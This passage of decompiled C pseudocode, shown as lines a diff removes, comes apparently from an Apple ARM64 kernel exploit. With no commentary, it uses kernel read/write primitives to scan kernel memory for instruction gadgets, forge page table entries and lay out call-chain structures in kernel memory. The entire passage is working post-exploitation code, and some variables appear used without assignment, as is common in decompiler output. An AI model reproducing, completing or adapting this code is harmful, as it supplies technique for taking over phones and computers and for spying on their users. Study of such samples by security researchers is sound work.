) - goto LABEL_89; - } - v7 = v58; - goto LABEL_26; - } -LABEL_89: - v60 = 0LL; - v61 = 0LL; - *((_QWORD *)v4 + 0x29) = address[0]; - *((_QWORD *)v4 + 0x2A) = v53; - v62 = *(_QWORD *)(a1 + 0x1D58); - v63 = *(_QWORD *)(v62 + 0x128); - v64 = *((_QWORD *)v4 + 0x22); - v65 = *(_QWORD *)(v62 + 0x148); - v66 = (unsigned __int8 *)(*((_QWORD *)v4 + 0x24) - v63 + v65); - v67 = (unsigned __int8 *)(*((_QWORD *)v4 + 0x23) - v63 + v65); - do - { - v68 = *v66++; - v64 |= (unsigned __int64)v68 << v60; - *((_QWORD *)v4 + 0x22) = v64; - v69 = *v67++; - v61 |= (unsigned __int64)v69 << v60; - v60 += 8LL; - } - while ( v60 != 0x40 ); - v70 = sub_18B14(); - *((_QWORD *)v4 + 0x20) = v70; - if ( !v70 ) - goto LABEL_26; - v71 = sub_18B14(); - *((_QWORD *)v4 + 0x4A) = v71; - if ( !v71 ) - goto LABEL_26; - v343 = xmmword_43060; - *(_OWORD *)v316 = xmmword_43070; - v72 = sub_18D68(a1, &v343, v316, 4uLL); - if ( !v72 - || ((v74 = *((_DWORD *)v72 + 2), - v75 = *((unsigned int *)v72 + 3), - v73 = v72 + 8, - v76 = (v75 >> 0xA) & 0xFFF, - (v75 & 0x40000000) == 0) - ? (v77 = 2) - : (v77 = 3), - (unsigned int)sub_18DF0( - a1, - (v76 << v77) - + (int)(((v74 >> 3) & 0xFFFFFFFC | (v74 >> 0x1D) & 3) << 0xC) - + ((unsigned __int64)&v73[*(_QWORD *)(*(_QWORD *)(a1 + 0x1D58) + 0x128LL) - - *(_QWORD *)(*(_QWORD *)(a1 + 0x1D58) + 0x148LL)] & 0xFFFFFFFFFFFFF000LL), - inputStruct)) ) - { - *((_QWORD *)v4 + 0x2B) = 0LL; - goto LABEL_26; - } - v220 = *(_QWORD *)inputStruct == 0xFFFFFFFFFFFFFFB8LL; - *((_QWORD *)v4 + 0x2B) = *(_QWORD *)inputStruct + 0x48LL; - if ( v220 ) - goto LABEL_26; - v78 = *(_QWORD **)(a1 + 0x1D58); - v80 = (char *)v78[0x29]; - v79 = v78[0x2A]; - v81 = (unsigned __int64)&v80[v79]; - if ( v80 >= &v80[v79] ) - goto LABEL_144; - v82 = 0LL; - while ( *(_DWORD *)&v80[v82] != 0xD53BD061 ) - { - v82 += 4LL; - if ( (unsigned __int64)&v80[v82] >= v81 ) - goto LABEL_144; - } - if ( (unsigned __int64)&v80[v82 + 4] >= v81 ) - { -LABEL_144: - *((_QWORD *)v4 + 0x2C) = 0LL; - goto LABEL_26; - } - v92 = v78[0x25]; - *((_QWORD *)v4 + 0x2C) = v92 + v82; - if ( !(v92 + v82) ) - goto LABEL_26; - *(_QWORD *)&v343 = 0xD65F03C0F8226801LL; - *(_QWORD *)v316 = 0xFFFFFFFFFFFFFFFFLL; - v93 = sub_18D68(a1, &v343, v316, 2uLL); - if ( !v93 ) - { - *((_QWORD *)v4 + 0x2D) = 0LL; - goto LABEL_26; - } - *((_QWORD *)v4 + 0x2D) = v93 - v80 + v92; - if ( !(v93 - v80 + v92) ) - goto LABEL_26; - while ( 1 ) - { - v94 = *(_DWORD *)v80; - v80 += 4; - if ( v94 == 0x910443E1 ) - break; - v92 += 4LL; - if ( (unsigned __int64)v80 >= v81 ) - goto LABEL_172; - } - if ( (unsigned __int64)v80 >= v81 ) - { -LABEL_172: - *((_QWORD *)v4 + 0x2E) = 0LL; - goto LABEL_26; - } - *((_QWORD *)v4 + 0x2E) = v92; - if ( !v92 ) - { -LABEL_26: - v1 = v7; - goto LABEL_27; - } - v344[0] = 0LL; - v343 = 0uLL; - *(_DWORD *)((char *)v344 + 7) = 0; - v98 = calloc(*(unsigned int *)(a1 + 0x180), 1uLL); - if ( !v98 ) - { -LABEL_213: - *((_QWORD *)v4 + 0x30) = 0LL; - goto LABEL_26; - } - v99 = v98; - v100 = krw_ctx_has_flag((_DWORD *)a1, 0x4000000); - if ( v100 ) - v101 = 0xFFFFFC200008C000LL; - else - v101 = 0xFFFFFFA00008C000LL; - if ( v100 ) - v102 = 0xFFFFFC2000020000LL; - else - v102 = 0xFFFFFFA000020000LL; - v103 = v102; - do - { - v104 = sub_18EA4(a1, v103, 0LL, 0); - if ( !v104 ) - { - v106 = *(unsigned int *)(a1 + 0x180); - *((_BYTE *)&v344[0xFFFFFFFE] + (v103 - v102) / v106) = 0xFF; - goto LABEL_169; - } - if ( (unsigned int)physwrite_maybe(a1, v104, inputStruct) ) - { -LABEL_212: - free(v99); - goto LABEL_213; - } - v105 = *(unsigned int *)(a1 + 0x180); - if ( !memcmp(*(const void **)inputStruct, v99, v105) ) - *((_BYTE *)&v344[0xFFFFFFFE] + (v103 - v102) / v105) = 1; - sub_38BCC(a1); - v106 = *(unsigned int *)(a1 + 0x180); -LABEL_169: - v103 += v106; - } - while ( v103 < v101 ); - if ( BYTE13(v343) == 1 ) - { - v107 = v102 + 0xD * v106; - free(v99); - *((_QWORD *)v4 + 0x30) = v107; - goto LABEL_191; - } - v115 = 0LL; - while ( v115 != 0xD ) - { - v116 = *((unsigned __int8 *)&v343 + v115++ + 0xE); - if ( v116 == 1 ) - { - v117 = v115 + 0xD; - goto LABEL_190; - } - } - v117 = 0xCLL; - while ( *((_BYTE *)&v344[0xFFFFFFFE] + v117) != 1 ) - { - if ( !--v117 ) - goto LABEL_212; - } -LABEL_190: - v118 = v102 + v117 * v106; - free(v99); - *((_QWORD *)v4 + 0x30) = v118; - if ( !v118 ) - goto LABEL_26; -LABEL_191: - v119 = *(_QWORD **)(a1 + 0x1D58); - v343 = xmmword_43080; - LODWORD(v344[0]) = 0x14000000; - *(_OWORD *)v316 = xmmword_43090; - *(_DWORD *)&v316[0x10] = 0xFC000000; - v120 = sub_18D68(a1, &v343, v316, 5uLL); - if ( !v120 ) - { - *((_QWORD *)v4 + 0x33) = 0LL; - goto LABEL_26; - } - v121 = v119[0x29]; - v122 = v119[0x25]; - v123 = &v120[v122 - v121]; - v125 = *((_DWORD *)v120 + 1); - v124 = v120 + 4; - v126 = ((unsigned __int64)v125 >> 3) & 0x1FFFFC; - v127 = ((unsigned __int64)v125 >> 3) & 0xFFFFC | 0xFFFFFFFFFFF00000LL; - if ( (((unsigned __int64)v125 >> 3) & 0x100000) != 0 ) - v128 = v127; - else - v128 = v126; - v129 = (unsigned __int64)&v124[v122 - v121 + v128]; - if ( !(unsigned int)sub_18DF0(a1, v129, (_QWORD *)v4 + 0x34) && krw_ctx_has_flag((_DWORD *)a1, 0x4000) ) - v119[0x38] = v129; - *((_QWORD *)v4 + 0x33) = v123; - if ( !v123 || !*((_QWORD *)v4 + 0x34) || krw_ctx_has_flag((_DWORD *)a1, 0x4000) && !*((_QWORD *)v4 + 0x38) ) - goto LABEL_26; - *(_QWORD *)inputStruct = 0xD5033FDFD5033F9FLL; - *(_DWORD *)&inputStruct[8] = 0xD65F03C0; - *(_QWORD *)&v343 = 0xFFFFFFFFFFFFFFFFLL; - DWORD2(v343) = 0xFFFFFFFF; - v130 = sub_18D68(a1, inputStruct, &v343, 3uLL); - if ( !v130 ) - { - *((_QWORD *)v4 + 0x35) = 0LL; - goto LABEL_26; - } - v131 = *(_QWORD **)(a1 + 0x1D58); - v132 = (char *)v131[0x29]; - v133 = v131[0x25]; - *((_QWORD *)v4 + 0x35) = v130 - v132 + v133; - if ( !(v130 - v132 + v133) ) - goto LABEL_26; - v134 = &v132[v131[0x2A]]; - if ( v132 >= v134 ) - goto LABEL_249; - while ( 1 ) - { - v135 = *(_DWORD *)v132; - v132 += 4; - if ( v135 == 0x14000000 ) - break; - v133 += 4LL; - if ( v132 >= v134 ) - goto LABEL_249; - } - if ( v132 >= v134 ) - { -LABEL_249: - *((_QWORD *)v4 + 0x36) = 0LL; - goto LABEL_26; - } - *((_QWORD *)v4 + 0x36) = v133; - if ( !v133 ) - goto LABEL_26; - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x84000) ) - goto LABEL_221; - v343 = xmmword_430A0; - *(_QWORD *)v316 = 0xFFFFFFFFFFFFFFFFLL; - *(_QWORD *)&v316[8] = 0xFFFFFFFFFFFFFFFFLL; - v137 = sub_18D68(a1, &v343, v316, 4uLL); - if ( !v137 ) - { - *((_QWORD *)v4 + 0x37) = 0LL; - goto LABEL_26; - } - v138 = &v137[*(_QWORD *)(*(_QWORD *)(a1 + 0x1D58) + 0x128LL) - *(_QWORD *)(*(_QWORD *)(a1 + 0x1D58) + 0x148LL)]; - *((_QWORD *)v4 + 0x37) = v138; - if ( !v138 ) - goto LABEL_26; -LABEL_221: - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x4000) ) - goto LABEL_269; - *(_OWORD *)inputStruct = xmmword_430B0; - *(_QWORD *)&inputStruct[0x10] = 0xD50040BFLL; - v343 = xmmword_430C0; - v344[0] = 0xFFFFFFFFLL; - v139 = sub_18D68(a1, inputStruct, &v343, 6uLL); - if ( !v139 ) - { - *((_QWORD *)v4 + 0x3C) = 0LL; - goto LABEL_26; - } - v140 = *(unsigned int *)v139; - v141 = (v140 >> 3) & 0x1FFFFC | (v140 >> 0x1D) & 3; - if ( ((v140 >> 3) & 0x100000) != 0 ) - v141 |= 0xFFFFFFFFFFF00000LL; - v142 = *(_QWORD *)(a1 + 0x1D58); - v143 = *(_QWORD *)(v142 + 0x148); - v144 = *(_QWORD *)(v142 + 0x128); - v145 = &v139[v144 - v143 + v141]; - if ( (unsigned int)v140 >> 5 == 0x6A8C600 ) - { -LABEL_230: - v149 = *((_DWORD *)v139 + 0xFFFFFFFE); - v148 = v139 + 0xFFFFFFF8; - v150 = ((unsigned __int64)v149 >> 3) & 0x1FFFFC | ((unsigned __int64)v149 >> 0x1D) & 3; - v151 = v150 | 0xFFFFFFFFFFF00000LL; - if ( (((unsigned __int64)v149 >> 3) & 0x100000) == 0 ) - v151 = v150; - *((_QWORD *)v4 + 0x39) = &v148[v144 - v143 + v151]; - } - else - { - v146 = 0LL; - while ( (_DWORD)v146 != 0x70 ) - { - v147 = *(_DWORD *)&v139[v146 + 4] & 0xFFFFFFE0; - v146 += 4LL; - if ( v147 == 0xD518C000 ) - { - v139 += v146; - goto LABEL_230; - } - } - } - *((_QWORD *)v4 + 0x3C) = v145; - if ( !v145 || !*((_QWORD *)v4 + 0x39) ) - goto LABEL_26; - *(_QWORD *)&v343 = 0xD65F03C000201421LL; - *(_QWORD *)v316 = 0xFFFFFFFFFFFFFFFFLL; - v152 = sub_18D68(a1, &v343, v316, 2uLL); - if ( !v152 ) - { - *((_QWORD *)v4 + 0x3A) = 0LL; - goto LABEL_26; - } - v153 = *(_QWORD *)(v142 + 0x128); - *((_QWORD *)v4 + 0x3A) = &v152[v153 - v143]; - if ( !&v152[v153 - v143] ) - goto LABEL_26; - v343 = xmmword_430D0; - LODWORD(v344[0]) = 0x28C1783D; - *(_OWORD *)v316 = xmmword_430E0; - *(_DWORD *)&v316[0x10] = 0xFFFFFFFF; - v154 = sub_18D68(a1, &v343, v316, 5uLL); - if ( !v154 ) - { - *((_QWORD *)v4 + 0x3B) = 0LL; - goto LABEL_26; - } - *((_QWORD *)v4 + 0x3B) = &v154[v153 - v143]; - if ( !&v154[v153 - v143] ) - goto LABEL_26; - *(_QWORD *)&v343 = 0x201400A8C17BFDLL; - *(_QWORD *)v316 = 0xFFFFFFFFFFFFFFFFLL; - v155 = sub_18D68(a1, &v343, v316, 2uLL); - if ( !v155 ) - { - *((_QWORD *)v4 + 0x3D) = 0LL; - goto LABEL_26; - } - *((_QWORD *)v4 + 0x3D) = &v155[v153 - v143]; - if ( !&v155[v153 - v143] ) - goto LABEL_26; - v343 = xmmword_430F0; - *(_QWORD *)v316 = 0xFFFFFFFFFFFFFFFFLL; - *(_QWORD *)&v316[8] = 0xFFFFFFFFFFFFFFFFLL; - v156 = sub_18D68(a1, &v343, v316, 4uLL); - if ( !v156 ) - { - *((_QWORD *)v4 + 0x3E) = 0LL; - goto LABEL_26; - } - *((_QWORD *)v4 + 0x3E) = &v156[v153 - v143]; - if ( !&v156[v153 - v143] ) - goto LABEL_26; - *(_QWORD *)inputStruct = 0xD53800A2LL; - *(_DWORD *)&inputStruct[8] = 0xAA0003E5; - *(_QWORD *)&v343 = 0xFFFFFFFFLL; - DWORD2(v343) = 0xFFFFFFFF; - v157 = sub_18D68(a1, inputStruct, &v343, 3uLL); - if ( !v157 - || ((v158 = v157, - v159 = (unsigned __int64 *)(v4 + 0x82), - v160 = *((unsigned int *)v157 + 4), - ((v160 >> 3) & 0x100000) != 0) - ? (v161 = (v160 >> 3) & 0xFFFFC | 0xFFFFFFFFFFF00000LL) - : (v161 = (v160 >> 3) & 0x1FFFFC), - v162 = (unsigned __int64)&v157[v153 - v143 + 0x10 + v161], - *v159 = v162, - (unsigned int)sub_18DF0(a1, v162, (_QWORD *)v4 + 0x41)) ) - { - *((_QWORD *)v4 + 0x3F) = 0LL; - goto LABEL_26; - } - v163 = &v158[v153 - v143]; - *((_QWORD *)v4 + 0x3F) = v163; - if ( !v163 || !*v159 ) - goto LABEL_26; - v343 = xmmword_43100; - LODWORD(v344[0]) = 0xD63F0100; - *(_OWORD *)v316 = xmmword_43110; - *(_DWORD *)&v316[0x10] = 0xFFFFFFFF; - v164 = sub_18D68(a1, &v343, v316, 5uLL); - if ( !v164 ) - { - *((_QWORD *)v4 + 0x40) = 0LL; - goto LABEL_26; - } - v165 = *(_QWORD *)(a1 + 0x1D58); - v166 = *(_QWORD *)(v165 + 0x148); - v167 = *(_QWORD *)(v165 + 0x128); - *((_QWORD *)v4 + 0x40) = &v164[v167 - v166]; - if ( !&v164[v167 - v166] ) - goto LABEL_26; - v343 = xmmword_43120; - *(_OWORD *)v316 = xmmword_43130; - v168 = sub_18D68(a1, &v343, v316, 4uLL); - if ( !v168 - || ((v170 = *((_DWORD *)v168 + 1), - v169 = v168 + 4, - v171 = ((unsigned __int64)v170 >> 3) & 0x1FFFFC, - v172 = ((unsigned __int64)v170 >> 3) & 0xFFFFC | 0xFFFFFFFFFFF00000LL, - (((unsigned __int64)v170 >> 3) & 0x100000) != 0) - ? (v173 = v172) - : (v173 = v171), - *(_QWORD *)inputStruct = &v169[v167 - v166 + v173], - (unsigned int)sub_18DF0(a1, *(unsigned __int64 *)inputStruct, inputStruct)) ) - { - *((_QWORD *)v4 + 0x42) = 0LL; - goto LABEL_26; - } - v174 = *(_QWORD *)inputStruct; - *((_QWORD *)v4 + 0x42) = *(_QWORD *)inputStruct; - if ( !v174 ) - goto LABEL_26; - *(_OWORD *)(v4 + 0x86) = xmmword_43140; - *(_OWORD *)(v4 + 0x8A) = xmmword_43150; - *(_OWORD *)(v4 + 0x8E) = xmmword_43160; - *((_QWORD *)v4 + 0x49) = 0xFFFFFFF002018000LL; -LABEL_269: - v175 = krw_ctx_has_flag((_DWORD *)a1, 0x4000000); - v176 = 0xFFFFFC2000000000LL; - if ( !v175 ) - v176 = 0xFFFFFFA000000000LL; - v177 = vdup_n_s32(!v175); - v178.i64[0] = v177.u32[0]; - v178.i64[1] = v177.u32[1]; - *((_QWORD *)v4 + 0x2F) = v176; - *(int8x16_t *)(v4 + 0x62) = vbslq_s8( - (int8x16_t)vshrq_n_s64(vshlq_n_s64(v178, 0x3FuLL), 0x3FuLL), - (int8x16_t)xmmword_43180, - (int8x16_t)xmmword_43170); - vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x29), *((_QWORD *)v4 + 0x2A)); - *((_QWORD *)v4 + 0x29) = 0LL; - *((_QWORD *)v4 + 0x2A) = 0LL; - v1 = sub_18FCC(a1, *((_QWORD *)v4 + 0x30), (_QWORD *)v4 + 0x4B); - if ( (_DWORD)v1 ) - goto LABEL_27; - v1 = sub_18FCC(a1, *((_QWORD *)v4 + 0x2F), (_QWORD *)v4 + 0x55); - if ( (_DWORD)v1 ) - goto LABEL_27; - v1 = 0xAD009LL; - v179 = *(_QWORD **)(a1 + 0x1D58); - LODWORD(size[0]) = 0x4000; - v180 = sub_37210(a1, (unsigned int *)size); - if ( !v180 ) - goto LABEL_27; - v181 = v180; - sub_2183C(a1, v180 & ~*(_QWORD *)(a1 + 0x188), (__int64)src_address); - v182 = 0xFFFFFFFFLL; - if ( !v183 || (v184 = src_address[4] & 0xFFFFFFFFC000LL, (src_address[4] & 0xFFFFFFFFC000LL) == 0) ) - { -LABEL_318: - sub_36E4C(a1, v181, LODWORD(size[0])); - v1 = v182; - goto LABEL_27; - } - if ( krw_ctx_has_flag((_DWORD *)a1, 0x4000) ) - v185 = sub_3796C(a1, size); - else - v185 = sub_37210(a1, (unsigned int *)size); - v186 = v185; - if ( !v185 ) - { - v182 = 0xAD009LL; - goto LABEL_318; - } - sub_2183C(a1, v185 & ~*(_QWORD *)(a1 + 0x188), (__int64)src_address); - v182 = 0xFFFFFFFFLL; - if ( !v187 ) - goto LABEL_317; - v188 = src_address[4] & 0xFFFFFFFFC000LL; - if ( (src_address[4] & 0xFFFFFFFFC000LL) == 0 ) - goto LABEL_317; - v300 = sub_37210(a1, (unsigned int *)size); - if ( !v300 ) - { - v182 = 0xAD009LL; -LABEL_317: - sub_36E4C(a1, v186, LODWORD(size[0])); - goto LABEL_318; - } - sub_2183C(a1, v300, (__int64)&v343); - if ( !v189 ) - { - v182 = 0xFFFFFFFFLL; -LABEL_316: - sub_36E4C(a1, v300, LODWORD(size[0])); - goto LABEL_317; - } - *(_QWORD *)v295 = v343; - if ( !(unsigned int)kreadbuf_last_1(a1, v343, 8LL, (__int64)target_address) ) - { - v182 = 0x2800FLL; - goto LABEL_316; - } - sub_2183C(a1, *(_QWORD *)v295 & ~*(_QWORD *)(a1 + 0x188), (__int64)src_address); - v182 = 0xFFFFFFFFLL; - if ( !v190 ) - goto LABEL_316; - v288 = src_address[4]; - if ( (src_address[4] & 0xFFFFFFFFC000LL) == 0 ) - goto LABEL_316; - v290 = sub_37210(a1, (unsigned int *)size); - if ( !v290 ) - { - v182 = 0xAD009LL; - goto LABEL_316; - } - sub_2183C(a1, v290, (__int64)&v343); - if ( !v191 ) - { - v182 = 0xFFFFFFFFLL; - goto LABEL_315; - } - sub_2183C(a1, v343 & ~*(_QWORD *)(a1 + 0x188), (__int64)src_address); - v182 = 0xFFFFFFFFLL; - if ( !v192 || (v287 = src_address[4] & 0xFFFFFFFFC000LL, (src_address[4] & 0xFFFFFFFFC000LL) == 0) ) - { -LABEL_315: - sub_36E4C(a1, v290, LODWORD(size[0])); - goto LABEL_316; - } - if ( !(unsigned int)kreadbuf_last_1(a1, v179[0x4A], 0x40LL, (__int64)inputStruct) ) - { - v182 = 0x2800FLL; - goto LABEL_315; - } - if ( !(unsigned int)kwritebuf_last_1(a1, v181, (__int64)inputStruct, 0x40LL) - || (*(_QWORD *)v316 = v188 | 3, !(unsigned int)kwritebuf_last_1(a1, v181 + 0x38, (__int64)v316, 8LL)) - || (address[0] = v288 & 0xFFFFFE000000LL | 0x20000000000445LL, - !(unsigned int)kwritebuf_last_1(a1, v186, (__int64)address, 8LL)) ) - { - v182 = 0x28010LL; - goto LABEL_315; - } - v193 = krw_ctx_has_flag((_DWORD *)a1, 0x4000000); - v194 = 0xFFFFFC7000000000LL; - if ( !v193 ) - v194 = 0xFFFFFFF000000000LL; - v286 = v194; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x80000) ) - { - v195 = sub_3796C(a1, size); - if ( v195 ) - { - v196 = v195; - sub_2183C(a1, v195 & ~*(_QWORD *)(a1 + 0x188), (__int64)src_address); - v182 = 0xFFFFFFFFLL; - if ( v197 ) - { - v285 = src_address[4] & 0xFFFFFFFFC000LL; - if ( (src_address[4] & 0xFFFFFFFFC000LL) != 0 ) - { - sub_18EA4(a1, v179[0x32], &outputStruct, 1); - if ( outputStruct ) - { - sub_2183C(a1, outputStruct & ~*(_QWORD *)(a1 + 0x188), (__int64)src_address); - v182 = 0xFFFFFFFFLL; - if ( v198 ) - { - v284 = src_address[4]; - if ( (src_address[4] & 0xFFFFFFFFC000LL) != 0 ) - { - address[0] = src_address[4] & 0xFFFFFE000000LL | 0x20000000000445LL; - if ( (unsigned int)kwritebuf_last_1(a1, v186 + 8, (__int64)address, 8LL) ) - { - if ( (unsigned int)kreadbuf_last_1(a1, outputStruct, 8LL, (__int64)input) ) - { - v199 = input[0] & 0xFFFF000000003FFFLL | v285; - v200 = *(_QWORD *)(a1 + 0x188); - v179[0x66] = (v286 | v284 & 0x1FFC000 | 0x2000000) + (v200 & outputStruct); - v179[0x67] = v199; - goto LABEL_320; - } - v182 = 0x2800FLL; - } - else - { - v182 = 0x28010LL; - } - } - } - } - else - { - v182 = 0xFFFFFFFFLL; - } - } - } - sub_36E4C(a1, v196, LODWORD(size[0])); - } - else - { - v182 = 0xAD009LL; - } - goto LABEL_315; - } - v200 = *(_QWORD *)(a1 + 0x188); -LABEL_320: - v201 = target_address[0] & 0xFFFF000000003FFFLL | v287; - v179[0x5F] = v184; - v179[0x60] = v181; - v179[0x61] = v186; - v179[0x62] = v286; - v179[0x63] = *(_QWORD *)v295; - v179[0x64] = (v286 | v288 & 0x1FFC000) + (v200 & *(_QWORD *)v295); - v179[0x65] = v201; - v179[0xA2] = ((v290 >> 0xB) & 0x3FF8) + v300; - v179[0xA3] = v290; - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x4000) ) - { -LABEL_382: - v232 = krw_ctx_has_flag((_DWORD *)a1, 0x4000); - v233 = *(_QWORD *)(a1 + 0x1D58); - v234 = *(_QWORD **)(v233 + 0x258); - v235 = *(_QWORD *)(v233 + 0x260); - if ( v232 ) - { - if ( *(_QWORD *)(a1 + 0x158) <= 0x2711FFFFFFFFFFuLL ) - v236 = 0x340LL; - else - v236 = 0x350LL; - v1 = physwrite_maybe(a1, 0x23B080000LL, inputStruct); - if ( (_DWORD)v1 ) - goto LABEL_431; - v303 = *(_QWORD *)inputStruct; - v237 = *(_QWORD *)(v233 + 0x3A8); - v294 = *(_QWORD **)(v233 + 0x450); - *(_QWORD *)v299 = *(_QWORD *)(v233 + 0x3E0); - v238 = *(_DWORD *)(a1 + 0x180); - v1 = sub_18DF0(a1, *(_QWORD *)(v233 + 0x158), src_address); - if ( (_DWORD)v1 ) - goto LABEL_430; - v239 = src_address[0]; - v240 = (char *)v234 + LOBYTE(src_address[0]); - v241 = v240 + 0xC00; - v242 = v235 + LOBYTE(src_address[0]) + 0xC00; - v243 = 0x3200LL - LOBYTE(src_address[0]); - v244 = *(_QWORD *)(v233 + 0x370); - v234[0x7C0] = *(_QWORD *)(v233 + 0x170); - v234[0x7C1] = 0x3C4LL; - v234[0x7D9] = v242 + 5 * v236; - v234[0x7DA] = *(_QWORD *)(v233 + 0x1E0); - v234[0x7DB] = v239; - *((_QWORD *)v240 + 0x180) = *(_QWORD *)(v233 + 0x178); - *((_QWORD *)v240 + 0x182) = 0LL; - *((_QWORD *)v240 + 0x181) = 0LL; - *((_QWORD *)v240 + 0x19E) = *(_QWORD *)(v233 + 0x170); - *((_QWORD *)v240 + 0x19F) = v242 + v236; - if ( *(_BYTE *)v233 ) - v245 = *(_QWORD *)(v233 + 0x168); - else - v245 = *(_QWORD *)(v233 + 0x168) + 4LL; - *((_QWORD *)v240 + 0x1A0) = v245; - *(_OWORD *)(v240 + 0xD08) = xmmword_431D0; - *((_QWORD *)v240 + 0x1A3) = 0x10LL; - v246 = &v241[v236]; - *(_QWORD *)v246 = *(_QWORD *)(v233 + 0x350); - *((_QWORD *)v246 + 0x1E) = *(_QWORD *)(v233 + 0x170); - *((_QWORD *)v246 + 0x20) = *(_QWORD *)(v233 + 0x1D0); - *(_OWORD *)&v241[v236 + 0x108] = xmmword_431D0; - *((_QWORD *)v246 + 0x23) = 0x10LL; - v247 = (__int64)&v241[v236 + v236]; - *(_QWORD *)v247 = *(_QWORD *)(v233 + 0x1C0); - *(_QWORD *)(v247 + 8) = *(_QWORD *)(v233 + 0x360); - *(_QWORD *)(v247 + 0x10) = 0LL; - *(_QWORD *)(v247 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v247 + 0x100) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v247 + 0x108) = xmmword_431D0; - *(_QWORD *)(v247 + 0x118) = 0x10LL; - v248 = v247 + v236; - *(_QWORD *)v248 = *(_QWORD *)(v233 + 0x158); - *(_QWORD *)(v248 + 8) = v239; - *(_QWORD *)(v248 + 0x10) = 0LL; - *(_QWORD *)(v248 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v248 + 0x100) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v248 + 0x108) = xmmword_431D0; - *(_QWORD *)(v248 + 0x118) = 0x10LL; - v249 = (_QWORD *)(v248 + v236); - *v249 = *(_QWORD *)(v233 + 0x340) + 0xE0LL; - v249[0x1E] = *(_QWORD *)(v233 + 0x1B0); - v249[0x20] = *(_QWORD *)(v233 + 0x1D8); - *(_OWORD *)(v248 + v236 + 0x108) = xmmword_431D0; - v249[0x23] = 0x10LL; - v250 = v248 + v236 + v236; - *(_QWORD *)v250 = 0LL; - *(_QWORD *)(v250 + 0x100) = *(_QWORD *)(v233 + 0x160); - *(_OWORD *)(v250 + 0x108) = xmmword_431E0; - *(_QWORD *)(v250 + 0x118) = 0x10LL; - if ( v236 - (__int64)v241 + v250 > v243 ) - { - v1 = 0xFFFFFFFFLL; - goto LABEL_430; - } - v269 = (_QWORD *)(*(_QWORD *)v299 + (unsigned int)(v238 - 0x10)); - *(_QWORD *)v244 = *(_QWORD *)(v233 + 0x228) + 0xE0LL; - *(_QWORD *)(v244 + 8) = *(_QWORD *)(v233 + 0x1A0) + 0xE0LL; - *(_QWORD *)(v244 + 0x10) = 0x38LL; - *(_QWORD *)(v244 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v244 + 0x100) = *(_QWORD *)(v233 + 0x1F0); - *(_OWORD *)(v244 + 0x108) = xmmword_431D0; - *(_QWORD *)(v244 + 0x118) = 0x10LL; - v270 = v244 + v236; - *(_QWORD *)v270 = *(_QWORD *)(v233 + 0x228) + 0x108LL; - *(_QWORD *)(v270 + 8) = *(_QWORD *)(v233 + 0x2F8); - *(_QWORD *)(v270 + 0x10) = 0LL; - *(_QWORD *)(v270 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v270 + 0x100) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v270 + 0x108) = xmmword_431D0; - *(_QWORD *)(v270 + 0x118) = 0x10LL; - v271 = v270 + v236; - *(_QWORD *)v271 = *(_QWORD *)(v233 + 0x208); - *(_QWORD *)(v271 + 8) = *(_QWORD *)(v233 + 0x228); - *(_QWORD *)(v271 + 0x10) = 0LL; - *(_QWORD *)(v271 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v271 + 0x100) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v271 + 0x108) = xmmword_431D0; - *(_QWORD *)(v271 + 0x118) = 0x10LL; - v272 = v271 + v236; - *(_QWORD *)v272 = 0LL; - *(_QWORD *)(v272 + 0xF0) = *(_QWORD *)(v233 + 0x1B0); - *(_QWORD *)(v272 + 0x100) = *(_QWORD *)(v233 + 0x160); - *(_OWORD *)(v272 + 0x108) = xmmword_431E0; - *(_QWORD *)(v272 + 0x118) = 0x10LL; - *v294 = *(_QWORD *)(v233 + 0x1F8); - v294[1] = 0LL; - *(_QWORD *)v237 = *(_QWORD *)(v233 + 0x358); - *(_QWORD *)(v237 + 0xA0) = 0LL; - *(_QWORD *)(v237 + 0xE0) = *(_QWORD *)(v233 + 0x248) - 8LL; - *(_QWORD *)(v237 + 0xF0) = *(_QWORD *)(v233 + 0x1B0); - *(_QWORD *)(v237 + 0x100) = *(_QWORD *)(v233 + 0x1D0); - *(_OWORD *)(v237 + 0x108) = xmmword_431E0; - *(_QWORD *)(v237 + 0x118) = 0x10LL; - *v269 = 0LL; - v269[1] = *(_QWORD *)(v233 + 0x170); - v273 = *(_QWORD *)(v233 + 0x418); - *(_QWORD *)v273 = *(_QWORD *)(v233 + 0x1C0); - *(_QWORD *)(v273 + 8) = *(_QWORD *)(v233 + 0x1A0); - *(_QWORD *)(v273 + 0x10) = 0LL; - *(_QWORD *)(v273 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v273 + 0x100) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v273 + 0x108) = xmmword_431D0; - *(_QWORD *)(v273 + 0x118) = 0x10LL; - v274 = v273 + v236; - *(_QWORD *)v274 = *(_QWORD *)(v233 + 0x208); - *(_QWORD *)(v274 + 8) = *(_QWORD *)(v233 + 0x1A0); - *(_QWORD *)(v274 + 0x10) = 0LL; - *(_QWORD *)(v274 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v274 + 0x100) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v274 + 0x108) = xmmword_431D0; - *(_QWORD *)(v274 + 0x118) = 0x10LL; - v275 = v274 + v236; - *(_QWORD *)v275 = *(_QWORD *)(v233 + 0x220); - *(_QWORD *)(v275 + 8) = *(_QWORD *)(v233 + 0x368); - *(_QWORD *)(v275 + 0x10) = 0LL; - *(_QWORD *)(v275 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v275 + 0x100) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v275 + 0x108) = xmmword_431D0; - *(_QWORD *)(v275 + 0x118) = 0x10LL; - v276 = v275 + v236; - *(_QWORD *)(v276 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v276 + 